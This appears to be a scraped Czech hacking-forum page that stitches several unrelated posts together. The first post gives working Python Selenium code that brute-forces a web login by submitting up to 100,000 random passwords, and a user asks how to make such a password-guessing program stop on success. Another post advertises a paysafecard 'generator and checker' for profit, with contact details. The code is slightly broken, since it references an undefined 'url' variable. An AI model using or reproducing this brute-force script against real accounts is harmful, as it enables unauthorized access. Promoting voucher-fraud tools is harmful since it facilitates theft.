Jednou z moností, jak zjistit, zda bylo zadáno správné heslo, je vyuití knihovny selenium. Selenium je knihovna pouívaná pro automatizaci webových prohlíečů a testování webových aplikací. S jeho pomocí můete interagovat s webovými prvky a získat informace o jejich stavu.
Předpokládáme, e aplikace, kterou chcete otestovat, je webová aplikace. Níe je příklad kódu, který můete pouít s knihovnou Selenium WebDriver pro Python:
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import random
import string
import time
def get_random_password(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
# Nastavte cestu ke svému WebDriveru (Chrome, Firefox, atd.)
driver_path = "/path/to/your/webdriver"
browser = webdriver.Chrome(driver_path)
# Najděte elementy pro zadání uivatelského jména a hesla
username_input = browser.find_element_by_name("username")
password_input = browser.find_element_by_name("password")
# Zadejte uivatelské jméno
username = "your_username"
username_input.send_keys(username)
max_attempts = 100000
password_length = 8
for attempt in range(max_attempts):
password = get_random_password(password_length)
password_input.clear()
password_input.send_keys(password)
password_input.send_keys(Keys.ENTER)
# Počkejte chvíli
time.sleep(1)
# Zkontrolujte, zda dolo ke změně URL (úspěné přihláení)
current_url = browser.current_url
if current_url != url:
print(f"Správné heslo je: {password}")
break
# Ukončete prohlíeč
browser.quit()
Upozorňuji, e tento kód je základní příklad, který můe vyadovat úpravy pro konkrétní webovou aplikaci, kterou chcete otestovat. Pokud jde o desktopovou aplikaci, můete zváit pouití knihovny pywinauto pro Windows nebo pyatspi pro Linux, které umoňují interakci s desktopovými aplikacemi a získávání informací o jejich stavu.
Zdravím, chci se zeptat, dotaz je tedy mířen na programátory v pythonu, ale k věci. Můj program, který do stavového řádku pro heslo spamuje random hesla dokud neuhodne správné.
Funguje na tom způsobu e napíe heslo a dá enter a poté tab, protoe je skoro vdy patně a je to v cyklu for i in range(maximální počet moností)
a já potřebuji udělat, aby se program po zadání správného hesle vypl jene nevím jak aby poznal e heslo uhádl
Ahoj . nevým jestli to je povolené. Ale nabízím paysafecard generator and checker. Vydělal jsem s ním u přes 50 tisíc. Pokud máte zájem napite na:
discord:Chmelak-#8692
mail:chmelakl@gmail.com
-NoNe-: S tím mailem je jiná potí, pouívám ho při registraci na různých slubách, take bych si musel měnit vechny účty, co je trochu větí komplikace. To je důvod, proč o tom vůbec neuvauji :)
---------- Teprve kdy vstáváte s hackingem a uléháte s mylenkou na něj, máte anci být hackerem.
.cCuMiNn.: Předpokládám e jej stále aktivně pouívá. I mimo tento projekt. koda, u jsem měl nápad :-)
Dalo by se ale domluvit i to e bys prodal ve a na email a ten si nechal. To co mě napadá by stavělo primárně na doméně, obsahu a komunitě. Email je fajn ale dovedu si představit e by se místo toho vyuívalo něco jako: soom@gmail.com nebo podobný ekvivalent na jiných slubách atd.
Heur3k@: Souhlasím s tebou, e zveřejňování příspěvků je velmi opoděné, ale vůbec na to není čas. Co se týká zveřejňování příspěvků bez schválení - nedovede si představit, jak by to tu vypadalo - je to opravdu nereálné :(
---------- Teprve kdy vstáváte s hackingem a uléháte s mylenkou na něj, máte anci být hackerem.